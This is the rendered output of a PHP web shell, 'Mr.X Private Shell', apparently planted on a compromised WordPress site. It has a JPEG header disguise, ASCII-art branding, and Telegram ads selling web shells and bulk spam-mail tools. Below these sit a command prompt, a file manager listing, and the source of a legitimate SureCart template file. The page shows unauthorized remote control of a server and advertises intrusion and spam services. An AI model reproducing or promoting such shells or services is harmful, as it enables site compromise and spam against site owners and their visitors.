����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

libcmfdw@216.73.216.202: ~ $
<?php

// If the sticky purchase button is empty or set to never, don't render it.
if ( empty( $settings['show_sticky_purchase_button'] ) || 'never' === $settings['show_sticky_purchase_button'] ) {
	return;
}

// Get the sticky purchase template.
$template = get_block_template( 'surecart/surecart//sticky-purchase', 'wp_template_part' );

// If the template is empty, don't render it.
if ( empty( $template ) || empty( $template->content ) ) {
	return;
}

// Add the show sticky purchase button context to the template.
$filter_block_context = static function ( $context ) use ( $settings ) {
	$context['showStickyPurchaseButton'] = $settings['show_sticky_purchase_button'];
	return $context;
};

// Add the filter to the template.
add_filter( 'render_block_context', $filter_block_context, 1 );

// Render the template.
echo do_blocks( $template->content ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped

// Remove the filter from the template.
remove_filter( 'render_block_context', $filter_block_context, 1 );

Filemanager

Name Type Size Permission Actions
buy-button.php File 267 B 0644
checkout-form.php File 54 B 0644
customer-dashboard-button.php File 303 B 0644
dashboard-tab.php File 315 B 0644
form.php File 602 B 0644
logout-button.php File 299 B 0644
sticky-purchase.php File 1.01 KB 0644